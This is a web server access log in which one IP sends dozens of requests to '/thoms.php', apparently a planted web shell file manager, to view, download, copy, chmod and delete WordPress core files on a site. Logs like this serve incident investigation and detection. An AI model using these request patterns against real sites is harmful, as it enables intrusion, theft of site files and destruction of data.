45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fupdate.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fupdate.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?chmod=author-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fview-config.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fview-config.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?dl=deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57889 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:43 -0400] "GET /thoms.php?del=ms-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13092 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?del=abilities-api&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14680 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?chmod=images&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=images&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12100 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost-formats.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fpost-formats.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25423 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?dl=ms-files.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33041 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30502 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:45 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?del=default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?dl=registration-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57892 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?del=php-compat&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=php-compat&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?dl=admin-bar.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:46 -0400] "GET /thoms.php?del=class-wp-exception.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57932 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?del=class-wp-theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?dl=embed-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33165 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?dl=class-wp-role.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:47 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13199 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?chmod=wp-diff.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?chmod=IXR&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?chmod=post-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 200 13632 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?chmod=Text&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=Text&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?dl=error-protection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:48 -0400] "GET /thoms.php?dl=speculative-loading.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fblock-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12133 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffonts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffonts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?dl=class-wp-post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:49 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fbookmark.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11826 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fbookmark.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
